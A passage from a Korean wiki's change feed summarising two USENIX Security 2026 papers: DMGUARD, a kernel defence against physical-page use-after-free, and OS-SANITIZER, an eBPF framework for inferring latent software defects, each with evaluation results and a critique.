&lt;br /&gt;
=== Integration with Kernel and GPU Drivers ===&lt;br /&gt;
DMGUARD는 Linux kernel과 GPU driver의 Page operation interface에 통합된다.&lt;br /&gt;
&lt;br /&gt;
* Linux kernel&lt;br /&gt;
** Map: set_pte_at&lt;br /&gt;
** Unmap: ptep_get_and_clear, ptep_get_and_clear_full&lt;br /&gt;
** Alloc: post_alloc_hook&lt;br /&gt;
** Free: free_pages_prepare&lt;br /&gt;
&lt;br /&gt;
* Mali GPU driver&lt;br /&gt;
** Map: entry_set_ate, entry_set_pte&lt;br /&gt;
** Unmap: entries_invalidate&lt;br /&gt;
** Alloc: kbase_mem_pool_alloc, kbase_mem_pool_alloc_pages 등&lt;br /&gt;
** Free: kbase_mem_pool_free, kbase_mem_pool_free_pages 등&lt;br /&gt;
&lt;br /&gt;
* Adreno GPU driver&lt;br /&gt;
** Map: __arm_lpae_set_pte, arm_lpae_init_pte&lt;br /&gt;
** Unmap: __arm_lpae_set_pte, arm_lpae_init_pte, __arm_lpae_free_pgtable, __arm_lpae_unmap&lt;br /&gt;
** Alloc: kgsl_pool_alloc_page&lt;br /&gt;
** Free: kgsl_pool_free_page&lt;br /&gt;
&lt;br /&gt;
구현 규모는 Core DMGUARD가 약 400 LOC, Tagged PFN macro가 약 560 LOC, Mali GPU driver 변경이 약 90 LOC, Adreno GPU driver 변경이 약 80 LOC이다. 이는 DMGUARD가 기존 Kernel 구조를 크게 바꾸기보다는 주요 Page lifecycle operation에 작은 Instrumentation을 추가하는 방식임을 보여준다.&lt;br /&gt;
&lt;br /&gt;
=== Comparison with CONFIG_PAGE_TABLE_CHECK ===&lt;br /&gt;
CONFIG_PAGE_TABLE_CHECK는 CPU page table의 Mapping status를 일부 추적할 수 있지만, DMGUARD와 비교하면 다음 한계가 있다.&lt;br /&gt;
&lt;br /&gt;
* CPU page allocator와 CPU page table 사이의 Free-before-unmap은 탐지할 수 있다.&lt;br /&gt;
* 그러나 CPU page와 Device mapping, Device page와 CPU mapping, Device page와 Device mapping은 충분히 다루지 못한다.&lt;br /&gt;
* Allocation status를 추적하지 않으므로 Map-after-free를 탐지하지 못한다.&lt;br /&gt;
* Concurrent Map-Free race에 대한 Synchronization이 부족하여 TOCTOU-style vulnerability가 가능하다.&lt;br /&gt;
&lt;br /&gt;
반면 DMGUARD는 Allocation status와 Mapping status를 모두 추적하고, CPU/GPU/IOMMU context를 함께 고려하며, Lockless synchronization으로 Concurrent race까지 다루려고 한다.&lt;br /&gt;
&lt;br /&gt;
== Evaluation ==&lt;br /&gt;
논문은 DMGUARD를 Security, Performance, Robustness 측면에서 평가하였다.&lt;br /&gt;
&lt;br /&gt;
=== Evaluation Setup ===&lt;br /&gt;
DMGUARD는 세 가지 환경에서 평가되었다.&lt;br /&gt;
&lt;br /&gt;
* QEMU AArch64 환경&lt;br /&gt;
** Linux kernel v6.6.0&lt;br /&gt;
** Mali GPU driver&lt;br /&gt;
** Dummy GPU device(MALI_NO_MALI)&lt;br /&gt;
&lt;br /&gt;
* Pixel 8&lt;br /&gt;
** Android 15&lt;br /&gt;
** Linux kernel v6.1.99&lt;br /&gt;
** ARMv8.5 CPU&lt;br /&gt;
** Mali GPU&lt;br /&gt;
&lt;br /&gt;
* Pixel 3 XL&lt;br /&gt;
** Android 12&lt;br /&gt;
** Linux kernel v4.9.270&lt;br /&gt;
** ARMv8.2 CPU&lt;br /&gt;
** Qualcomm Adreno GPU&lt;br /&gt;
&lt;br /&gt;
비교 대상은 다음과 같다.&lt;br /&gt;
&lt;br /&gt;
* Baseline&lt;br /&gt;
** Dangling mapping mitigation이 없는 기본 Kernel configuration&lt;br /&gt;
&lt;br /&gt;
* ptcheck&lt;br /&gt;
** Linux CONFIG_PAGE_TABLE_CHECK&lt;br /&gt;
&lt;br /&gt;
* DMGUARD&lt;br /&gt;
** 본 논문에서 제안한 Runtime mitigation&lt;br /&gt;
&lt;br /&gt;
=== Security Evaluation ===&lt;br /&gt;
Security evaluation에서는 총 24개의 Physical-page use-after-free vulnerability를 대상으로 DMGUARD와 ptcheck를 비교하였다.&lt;br /&gt;
&lt;br /&gt;
* 19개는 Real-world vulnerability이다.&lt;br /&gt;
** Linux kernel&lt;br /&gt;
** Mali GPU driver&lt;br /&gt;
** Adreno GPU driver&lt;br /&gt;
** PowerVR GPU driver&lt;br /&gt;
&lt;br /&gt;
* 5개는 Synthetic vulnerability이다.&lt;br /&gt;
** Map-after-free case&lt;br /&gt;
** Race condition 기반 Free-before-unmap case&lt;br /&gt;
&lt;br /&gt;
논문은 이 중 15개를 실제 환경에서 Empirical evaluation하였다. 나머지 9개는 Hardware 부족, GPU driver virtual environment 미지원, Kernel/driver version mismatch 등의 이유로 직접 재현하지 못하고 Theoretical analysis를 수행하였다.&lt;br /&gt;
&lt;br /&gt;
Empirical evaluation 결과는 다음과 같다.&lt;br /&gt;
&lt;br /&gt;
* DMGUARD&lt;br /&gt;
** 15개 중 15개 모두 탐지하였다.&lt;br /&gt;
&lt;br /&gt;
* ptcheck&lt;br /&gt;
** 15개 중 5개만 탐지하였다.&lt;br /&gt;
&lt;br /&gt;
ptcheck가 탐지한 경우는 주로 CPU page가 CPU page table에 Mapping된 Free-before-unmap case이다. 반면 GPU page allocator, GPU page table, IOMMU page table이 관련된 경우나 Map-after-free case는 탐지하지 못했다.&lt;br /&gt;
&lt;br /&gt;
Theoretical analysis 대상 9개에서도 논문은 DMGUARD가 설계상 모두 탐지 가능하다고 분석하였다. 이 9개는 모두 GPU page가 GPU 또는 IOMMU context에 Mapping되는 형태라 ptcheck는 탐지하지 못한다고 설명한다.&lt;br /&gt;
&lt;br /&gt;
=== False Positives and False Negatives ===&lt;br /&gt;
논문은 Performance evaluation과 Robustness test 중 DMGUARD가 False alarm을 발생시키지 않았다고 보고한다. 또한 Known vulnerability test에서 모든 Empirical case를 탐지했기 때문에 실험상 False negative도 관찰되지 않았다고 한다.&lt;br /&gt;
&lt;br /&gt;
그러나 설계상 False positive와 False negative 가능성은 존재한다.&lt;br /&gt;
&lt;br /&gt;
* MapCount 관련 False positive&lt;br /&gt;
** 실제로는 Unmap되었지만 MapCount가 감소하지 않으면, Free 시점에 Dangling mapping으로 잘못 판단할 수 있다.&lt;br /&gt;
&lt;br /&gt;
* MapCount 관련 False negative&lt;br /&gt;
** 실제로 Mapping되었지만 MapCount가 증가하지 않으면, Free-before-unmap을 놓칠 수 있다.&lt;br /&gt;
&lt;br /&gt;
* PageTag 관련 False negative&lt;br /&gt;
** Mapping 시점에 Tag check가 빠지면 Map-after-free를 놓칠 수 있다.&lt;br /&gt;
** Page가 Free/Reallocation될 때 Tag가 갱신되지 않으면 Stale reference를 탐지하지 못할 수 있다.&lt;br /&gt;
** 8-bit Tag collision이 발생하면 Old reference의 RefTag와 New PageTag가 우연히 일치할 수 있다.&lt;br /&gt;
&lt;br /&gt;
* Instrumentation coverage 문제&lt;br /&gt;
** Driver가 Standard API를 거치지 않고 Page table을 직접 조작하면 DMGUARD가 상태 변화를 추적하지 못할 수 있다.&lt;br /&gt;
&lt;br /&gt;
=== Finding Unknown Vulnerabilities ===&lt;br /&gt;
논문은 Pixel 8에서 DMGUARD를 활성화한 상태로 Syzkaller를 실행하였다. 이 과정에서 Upstream Mali GPU driver의 Dangling mapping issue를 발견하였다.&lt;br /&gt;
&lt;br /&gt;
해당 Issue는 Process가 GPU-allocated region에 대해 명시적으로 munmap()을 호출하지 않고 종료될 때, Physical page가 Free된 뒤에도 GPU page table entry가 남는 문제였다. 연구진은 이를 ARM에 보고했고, ARM은 Dangling mapping은 존재하지만 GPU task가 이미 종료된 뒤 생성되기 때문에 Exploitable하지 않다고 판단하였다.&lt;br /&gt;
&lt;br /&gt;
이 결과는 DMGUARD가 Known vulnerability를 막는 방어 기법일 뿐 아니라, 실제 Kernel/Driver의 Page lifecycle bug를 찾는 Detection tool로도 사용할 수 있음을 보여준다.&lt;br /&gt;
&lt;br /&gt;
=== Performance Evaluation ===&lt;br /&gt;
Performance evaluation은 Pixel 8에서 수행되었다.&lt;br /&gt;
&lt;br /&gt;
; LMBench&lt;br /&gt;
* DMGUARD의 Geomean overhead는 2.96%이다.&lt;br /&gt;
* ptcheck의 Geomean overhead는 1.99%이다.&lt;br /&gt;
* Fork 계열 Benchmark에서 상대적으로 높은 Overhead가 나타났다.&lt;br /&gt;
** Process fork+exit: 10.05%&lt;br /&gt;
** Process fork+execve: 12.58%&lt;br /&gt;
** Process fork+/bin/sh -c: 4.81%&lt;br /&gt;
* 이는 Fork 과정에서 많은 Page table entry를 설정하기 때문이라고 설명한다.&lt;br /&gt;
&lt;br /&gt;
; Phoronix Test Suite&lt;br /&gt;
* DMGUARD의 Geomean overhead는 1.26%이다.&lt;br /&gt;
* Workload는 OpenSSL, PyBench, Apache, Nginx, Redis, Linux unpack/build 등을 포함한다.&lt;br /&gt;
* 실사용 Application workload에서는 Overhead가 낮은 편이다.&lt;br /&gt;
&lt;br /&gt;
; Geekbench 6&lt;br /&gt;
* CPU Single-core&lt;br /&gt;
** Baseline: 1629.45&lt;br /&gt;
** DMGUARD: 1622.27(-0.44%)&lt;br /&gt;
&lt;br /&gt;
* CPU Multi-core&lt;br /&gt;
** Baseline: 4605.09&lt;br /&gt;
** DMGUARD: 4545.73(-1.29%)&lt;br /&gt;
&lt;br /&gt;
* GPU OpenCL&lt;br /&gt;
** Baseline: 7691.36&lt;br /&gt;
** DMGUARD: 7674.18(-0.22%)&lt;br /&gt;
&lt;br /&gt;
GPU workload에서도 Overhead가 낮다는 점은 DMGUARD가 GPU page table까지 추적하면서도 Runtime cost가 크지 않음을 보여준다. CPU Multi-core overhead는 Memory barrier로 인한 영향이 상대적으로 큰 것으로 해석된다.&lt;br /&gt;
&lt;br /&gt;
; Kernel boot time&lt;br /&gt;
* Baseline: 0.510s&lt;br /&gt;
* DMGUARD: 0.528s(+3.53%)&lt;br /&gt;
&lt;br /&gt;
; Application cold-start latency&lt;br /&gt;
* AOSP system app 10개에서 Geomean overhead는 3.10%이다.&lt;br /&gt;
* 최대 Overhead도 수 ms~수십 ms 수준으로 보고된다.&lt;br /&gt;
* 논문은 Boot time과 Cold-start overhead는 One-time cost이므로 지속적인 Runtime performance에는 큰 영향을 주지 않는다고 설명한다.&lt;br /&gt;
&lt;br /&gt;
; Memory overhead&lt;br /&gt;
* DMGUARD는 ptcheck 대비 Page당 8 bytes의 추가 Metadata를 사용한다.&lt;br /&gt;
* Pixel 8 기준 Baseline 대비 Memory overhead는 약 1.05%이다.&lt;br /&gt;
* 논문은 전체 7,739,468 KB memory에서 약 50 MB 수준의 추가 사용량으로, 현대 시스템에서는 작은 비용이라고 주장한다.&lt;br /&gt;
&lt;br /&gt;
=== Robustness Evaluation ===&lt;br /&gt;
DMGUARD는 Linux kernel의 Page management path를 수정하므로 Stability가 중요하다. 논문은 Pixel 8에서 Android Vendor Test Suite(VTS) kernel test plan을 10회 반복 실행하였다.&lt;br /&gt;
&lt;br /&gt;
* Kselftest와 Linux Test Project(LTP)를 포함한 vts-kernel test를 수행하였다.&lt;br /&gt;
* 10회 반복 실행 중 Crash나 Hang이 발생하지 않았다.&lt;br /&gt;
* 모든 Test가 통과하였다.&lt;br /&gt;
* Performance evaluation 중에도 Unexpected error가 발생하지 않았다.&lt;br /&gt;
&lt;br /&gt;
이를 통해 논문은 DMGUARD가 실제 Android kernel에서 Stability를 해치지 않는다고 주장한다.&lt;br /&gt;
&lt;br /&gt;
== [[Conculsion]] ==&lt;br /&gt;
우선 메모리 Vulnerability domain을 새로 찾았다고 나오지만, 사실 pte check에서 체크하고 있던 잘 알려진 문제 였다는 점, 그리고 전반적으로 Design이 pte check의 확장 (이기종 시스템으로의)로 보인다는 점이 주된 한계로 들수 있다. 그러나 이기종 시스템에서 발생할 수 있는 UAF문제를 시기 적절하고 &amp;amp; 최초로 상정하였다는 점에서 Motivation이 납득 가능하고, Mechanisms측면에서는 이 적절한 Motivation을 효율적으로 풀 수 있는 최적의 방법이라는 점이 이 논문의 장점이라고 생각한다.&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=DMGUARD:_Safeguarding_Kernels_from_Physical-Page_Use-After-Free_Vulnerabilities&amp;diff=7112</id>
		<title>DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free Vulnerabilities</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=DMGUARD:_Safeguarding_Kernels_from_Physical-Page_Use-After-Free_Vulnerabilities&amp;diff=7112"/>
		<updated>2026-04-28T12:29:16Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: 새 문서: 분류:USENIX Security  {{Paper|title=DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free  Vulnerabilities|author=Juhee Kim, Jaeyoung Chung, Dae R. Jeong, Byoungyoung Lee|year=2026|conference=USENIX Security}}  == 개요 == Physical-page use after free라는 Page table entry에서 일어나는 Use after free를 새로운 Vulnerability도메인으로 정의하고, 이를 막을 수 있는 Reference counting방식의 기법을 제시하였다.  == Motivation &amp;amp; Impo...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류:USENIX Security]]&lt;br /&gt;
&lt;br /&gt;
{{Paper|title=DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free  Vulnerabilities|author=Juhee Kim, Jaeyoung Chung, Dae R. Jeong, Byoungyoung Lee|year=2026|conference=USENIX Security}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
Physical-page use after free라는 Page table entry에서 일어나는 Use after free를 새로운 Vulnerability도메인으로 정의하고, 이를 막을 수 있는 Reference counting방식의 기법을 제시하였다.&lt;br /&gt;
&lt;br /&gt;
== Motivation &amp;amp; Importance ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Challenge ==&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
&lt;br /&gt;
== Evaluation ==&lt;br /&gt;
&lt;br /&gt;
== [[Conclusion]] ==&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=OS-SANITIZER:_System-wide_Latent_Defect_Inference_in_Linux_Applications&amp;diff=7111</id>
		<title>OS-SANITIZER: System-wide Latent Defect Inference in Linux Applications</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=OS-SANITIZER:_System-wide_Latent_Defect_Inference_in_Linux_Applications&amp;diff=7111"/>
		<updated>2026-04-27T11:48:52Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류:USENIX Security]]&lt;br /&gt;
&lt;br /&gt;
{{Paper|title=OS-SANITIZER: System-wide Latent Defect Inference in Linux Applications|author=Addison Crump  addison.crump@cispa.de CISPA  Sahil Sihag  sahil.sihag@cispa.de CISPA  Florian Bauckholt  florian.bauckholt@cispa.de CISPA  Keno Hassler  keno.hassler@cispa.de CISPA  Thorsten Holz  thorsten.holz@mpi-sp.org MPI-SP|year=2026|conference=USENIX Security}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
[[eBPF]]를 활용하여 커널 및 애플리케이션의 런타임 동작을 관찰하고, 해당 동작이 실제 failure로 이어지기 전에 잠재적인 defect가 될 수 있는지를 추론하는 Framework를 제안하였다. 즉, 기존 sanitizer가 주로 실제 fault나 failure가 발생한 이후 이를 탐지하는 데 초점을 맞추었다면, 본 논문은 정상적으로 실행되는 것처럼 보이는 런타임 동작에서도 향후 보안 취약점이나 correctness 문제로 이어질 수 있는 패턴을 탐지하고자 한다.&lt;br /&gt;
&lt;br /&gt;
== Motivation &amp;amp; Importance ==&lt;br /&gt;
기존의 static analyzer는 정적 분석 시점에 얻을 수 있는 정보를 바탕으로 버그를 찾는다. 이와 유사하게, 본 논문은 런타임에만 알 수 있는 정보들을 활용하여 defect를 추론하는 &#039;&#039;&#039;Dynamic Defect Inference&#039;&#039;&#039;가 가능하다고 주장한다.&lt;br /&gt;
&lt;br /&gt;
특히 많은 결함은 코드 자체만으로는 명확히 드러나지 않고, 실제 실행 환경, 권한, 파일 시스템 상태, path traversal 과정, multi-threaded access, library usage pattern 등에 따라 문제가 된다. 따라서 런타임 context를 관찰할 수 있다면, 기존 static analysis나 sanitizer가 놓치는 잠재적 결함을 찾을 수 있다.&lt;br /&gt;
&lt;br /&gt;
본 논문은 eBPF가 이러한 Dynamic Defect Inference를 수행하기에 적합한 기반임을 보이고자 한다. eBPF는 커널 내부 및 user-space function entry/exit에 hook을 삽입할 수 있고, BPF map을 통해 여러 이벤트 사이의 context를 축적할 수 있기 때문이다. 이를 통해 eBPF가 단순한 tracing이나 monitoring 도구를 넘어, runtime information을 기반으로 defect를 추론하는 testing/inference framework로 사용될 수 있음을 보인다.&lt;br /&gt;
&lt;br /&gt;
== Challenge ==&lt;br /&gt;
* &#039;&#039;&#039;Benign execution에서 defect를 추론해야 한다.&#039;&#039;&#039;&lt;br /&gt;
** 실제 crash나 fault가 발생한 것이 아니므로, 관찰되는 동작이 진짜 defect인지 단순한 code smell인지 구분하기 어렵다.&lt;br /&gt;
** 따라서 heuristic 기반의 판단이 필요하며, false positive를 완전히 제거하기 어렵다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Runtime context를 정확히 수집해야 한다.&#039;&#039;&#039;&lt;br /&gt;
** 일부 defect는 단일 system call이나 library call만으로 판단할 수 없다.&lt;br /&gt;
** 예를 들어 TOCTOU나 path traversal 문제는 access, open, path resolution, permission check 등 여러 이벤트를 종합해야 한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System-wide monitoring의 overhead를 낮춰야 한다.&#039;&#039;&#039;&lt;br /&gt;
** OS-SANITIZER는 특정 프로그램 하나만 분석하는 것이 아니라, 시스템 전체에서 발생하는 이벤트를 장기간 관찰하는 것을 목표로 한다.&lt;br /&gt;
** 따라서 tracing overhead와 report volume을 낮게 유지해야 한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;eBPF의 제한 안에서 inference logic을 구현해야 한다.&#039;&#039;&#039;&lt;br /&gt;
** eBPF verifier는 bounded execution과 제한된 memory access를 요구한다.&lt;br /&gt;
** 복잡한 analysis logic이나 hot user-space function monitoring은 높은 overhead 또는 verifier 제약으로 인해 실용적이지 않을 수 있다.&lt;br /&gt;
&lt;br /&gt;
== Background ==&lt;br /&gt;
; 소프트웨어 테스팅의 단계&lt;br /&gt;
* Software testing은 다음 5단계로 나눌 수 있다: Errors, Code smells, Defects, Faults, and Failures.&lt;br /&gt;
* Error: Developer나 User에 의한 실수&lt;br /&gt;
* Code smell: 당장 failure를 만들지는 않지만, 향후 defect로 이어질 수 있는 위험한 패턴&lt;br /&gt;
* Defect: Program에 잘못된 영향을 끼칠 수 있는 에러&lt;br /&gt;
* Fault: Defect가 실제 program state에 잘못된 영향을 끼친 경우&lt;br /&gt;
* Failure: Fault가 외부에서 관찰 가능한 잘못된 동작이나 safety guarantee 위반으로 드러난 경우&lt;br /&gt;
&lt;br /&gt;
; Dynamic Defect Inference에 대한 Related Work&lt;br /&gt;
: &#039;&#039;&#039;Program-Level Inference&#039;&#039;&#039;: Compiler의 도움을 받아 dynamic testing을 수행하는 방식이다. 대표적으로 AddressSanitizer, MemorySanitizer 등이 있다. 이러한 방식은 강력하지만 recompilation이 필요하고, 종종 performance overhead가 커서 production 환경보다는 testing 환경에서 주로 사용된다는 한계가 있다.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;Interprocedural Inference&#039;&#039;&#039;: Runtime에서 procedure 간 information flow를 추적하여 버그를 탐지하는 방식이다. Library call이나 network protocol의 사용 순서를 관찰하여 protocol violation을 찾는 방식으로 이해할 수 있다.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;OS-Integrated Inference&#039;&#039;&#039;: SELinux와 같이 OS의 기능을 활용하여 이상 동작을 감지하거나 policy violation을 탐지하는 방식이다. 다만 이러한 방식은 일반적으로 security policy enforcement에 가깝고, 다양한 defect class를 추론하는 데에는 제한적일 수 있다.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;Runtime Predictive Analysis&#039;&#039;&#039;: Runtime에서 얻을 수 있는 정보를 바탕으로 향후 발생할 수 있는 오류를 예측하거나 탐지하는 방식이다. 대표적으로 ThreadSanitizer와 같은 race detection 기법이 있다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
eBPF를 통해 kernel 및 user-space program의 런타임 동작을 수집하고, BPF map에 context를 축적한 뒤, heuristic 기반의 검증기를 통해 해당 동작이 잠재적 defect인지 판단한다.&lt;br /&gt;
&lt;br /&gt;
핵심 아이디어는 static analysis의 code smell 개념을 runtime으로 가져오는 것이다. 즉, 실제 failure가 발생하지 않았더라도, 런타임에서 관찰된 실행 패턴이 특정 조건에서는 취약점이나 correctness 문제로 이어질 수 있다면 이를 report한다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
[[파일:USENIX_Security_2026_OS-SANITIZER_Figure_2.png|링크=파일:USENIX_Security_2026_OS-SANITIZER_Figure_2.png|오른쪽|프레임없음]]&lt;br /&gt;
&lt;br /&gt;
OS-SANITIZER는 eBPF program을 kernel function 또는 user-space function의 entry/exit point에 부착하여 runtime event를 수집한다. 각 eBPF program은 관찰한 정보를 BPF map에 저장하고, 이후 관련 operation이 끝났을 때 map에 축적된 context를 바탕으로 heuristic 검사를 수행한다.&lt;br /&gt;
&lt;br /&gt;
각 eBPF pass는 대체로 다음 네 가지 역할을 가진다.&lt;br /&gt;
&lt;br /&gt;
* Suspicious code region report&lt;br /&gt;
* Context enrichment&lt;br /&gt;
* Stale context cleanup&lt;br /&gt;
* Known false positive filtering&lt;br /&gt;
&lt;br /&gt;
이를 통해 논문은 다음과 같은 pass들을 구현하였다.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Fault-Prone System Interactions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* access: access/stat 이후 open 사용으로 인한 TOCTOU 가능성 탐지&lt;br /&gt;
* fixed_mmap: overlapping fixed mmap 탐지&lt;br /&gt;
* rwx_mem: readable/writable/executable memory allocation 탐지&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Fault-Prone Library Usage&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* filep_unlocked: multi-thread 환경에서 unsynchronized FILE* access 탐지&lt;br /&gt;
* gets: unsafe gets usage 탐지&lt;br /&gt;
* snprintf: snprintf 관련 information leak 또는 footgun 탐지&lt;br /&gt;
* printf_mut: mutable string을 format string으로 사용하는 경우 탐지&lt;br /&gt;
* system_mut: mutable command string을 system()으로 실행하는 경우 탐지&lt;br /&gt;
* system_abs: absolute path 없이 system command를 실행하는 경우 탐지&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Environmental Defects&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* sec_file_open: unsafe file permission 또는 unsafe open pattern 탐지&lt;br /&gt;
* intercept_path: attacker가 path traversal을 가로챌 수 있는 상황 탐지&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Unsafe Memory-Manipulating Function Usage&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* memcpy&lt;br /&gt;
* strcpy&lt;br /&gt;
* strncpy&lt;br /&gt;
* sprintf&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
논문은 microbenchmark, SPEC CPU 2017, BrowserBench Speedometer, reproduction study, long-term desktop deployment를 통해 OS-SANITIZER를 평가하였다.&lt;br /&gt;
&lt;br /&gt;
중요한 결과는 다음과 같다.&lt;br /&gt;
&lt;br /&gt;
* System interaction 중심의 pass들은 대체로 낮은 overhead로 동작한다.&lt;br /&gt;
* 반면 memcpy, strcpy, strncpy, sprintf와 같은 hot user-space function을 uprobe로 추적하는 pass들은 overhead가 커서 practical deployment에는 부적합하다.&lt;br /&gt;
* 기존 CUU(check-use-use) TOCTOU detection model을 OS-SANITIZER pass로 재구현하여, eBPF 기반 framework가 기존 kernel modification 기반 testing logic을 더 쉽게 표현할 수 있음을 보였다.&lt;br /&gt;
* 장기 사용 실험에서 Golang, Docker, Kubernetes, runc, dotconf, Firefox, Chrome, Rust, GDB, NetworkManager 등 실제 software stack에서 여러 latent defect를 발견하였다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
* &#039;&#039;&#039;Dynamic Defect Inference라는 문제 설정을 제시하였다.&#039;&#039;&#039;&lt;br /&gt;
** 기존 dynamic testing이 실제 fault나 failure를 찾는 데 집중했다면, 본 논문은 benign execution에서 defect 가능성을 추론하는 방향을 제시하였다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;eBPF를 testing/inference tool로 활용하였다.&#039;&#039;&#039;&lt;br /&gt;
** eBPF를 단순 tracing이나 security monitoring이 아니라, runtime context를 축적하고 defect-level report를 생성하는 framework로 사용하였다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System-wide runtime context를 활용하였다.&#039;&#039;&#039;&lt;br /&gt;
** user-space function, kernel function, LSM hook 등을 조합하여 단일 프로그램 내부에서는 알기 어려운 실행 환경 정보를 활용하였다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;실제 software에서 latent defect를 발견하였다.&#039;&#039;&#039;&lt;br /&gt;
** 여러 mature software stack에서 실제 issue를 찾았다는 점이 논문의 실용성을 뒷받침한다.&lt;br /&gt;
&lt;br /&gt;
== Criticize ==&lt;br /&gt;
* &#039;&#039;&#039;Heuristic 의존성이 크다.&#039;&#039;&#039;&lt;br /&gt;
** OS-SANITIZER는 실제 failure를 직접 관찰하는 것이 아니라 위험한 pattern을 추론한다.&lt;br /&gt;
** 따라서 false positive를 완전히 피하기 어렵고, 어떤 report가 진짜 defect인지 triage cost가 발생한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;False positive와 coverage를 정량화하기 어렵다.&#039;&#039;&#039;&lt;br /&gt;
** Code smell 또는 contextual defect는 true positive와 false positive의 경계가 명확하지 않다.&lt;br /&gt;
** 논문에서도 false positive rate를 엄밀하게 계산하기보다는 case study 중심으로 효과를 보인다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Pass 개발의 일반성이 충분히 검증되지는 않았다.&#039;&#039;&#039;&lt;br /&gt;
** 논문은 여러 pass를 구현했지만, 새로운 domain이나 새로운 defect class에 대해 pass를 얼마나 쉽게 만들 수 있는지는 더 많은 사례가 필요하다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hot function monitoring에는 eBPF overhead가 크다.&#039;&#039;&#039;&lt;br /&gt;
** memcpy, strcpy와 같은 high-frequency function을 uprobe로 추적하면 overhead가 커진다.&lt;br /&gt;
** 따라서 OS-SANITIZER가 모든 bug class에 적합한 것은 아니다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Long-term deployment 평가가 제한적이다.&#039;&#039;&#039;&lt;br /&gt;
** 실제 desktop 환경에서 유용한 defect를 찾았다는 점은 강하지만, 다양한 production workload에서 report volume이나 triage cost가 어떻게 되는지는 더 평가가 필요하다.&lt;br /&gt;
&lt;br /&gt;
== [[Conclusion]] ==&lt;br /&gt;
본 논문의 핵심 의의는 &#039;&#039;&#039;Dynamic Defect Inference&#039;&#039;&#039;라는 문제를 명확히 제시하고, eBPF를 runtime testing/inference framework로 사용할 수 있음을 보였다는 점이다. 기존 sanitizer나 fuzzer가 실제 fault/failure를 trigger하는 데 집중했다면, OS-SANITIZER는 정상적으로 실행되는 것처럼 보이는 runtime behavior에서도 잠재적 defect를 추론한다.&lt;br /&gt;
&lt;br /&gt;
다만 heuristic에 의존하기 때문에 false positive, coverage, triage cost를 정밀하게 평가하기 어렵다는 한계가 있다. 또한 모든 defect class에 적합한 것은 아니며, 특히 hot user-space function을 추적하는 경우 eBPF overhead가 커질 수 있다. 그럼에도 불구하고, eBPF를 활용해 system-wide runtime context를 수집하고 실제 software에서 latent defect를 발견했다는 점에서 의미 있는 contribution을 가진 논문으로 볼 수 있다.&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=OS-SANITIZER:_System-wide_Latent_Defect_Inference_in_Linux_Applications&amp;diff=7110</id>
		<title>OS-SANITIZER: System-wide Latent Defect Inference in Linux Applications</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=OS-SANITIZER:_System-wide_Latent_Defect_Inference_in_Linux_Applications&amp;diff=7110"/>
		<updated>2026-04-27T11:48:19Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류:USENIX Security]]&lt;br /&gt;
&lt;br /&gt;
{{Paper|title=OS-SANITIZER: System-wide Latent Defect Inference in Linux Applications|author=Addison Crump  addison.crump@cispa.de CISPA  Sahil Sihag  sahil.sihag@cispa.de CISPA  Florian Bauckholt  florian.bauckholt@cispa.de CISPA  Keno Hassler  keno.hassler@cispa.de CISPA  Thorsten Holz  thorsten.holz@mpi-sp.org MPI-SP|year=2026|conference=USENIX Security}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
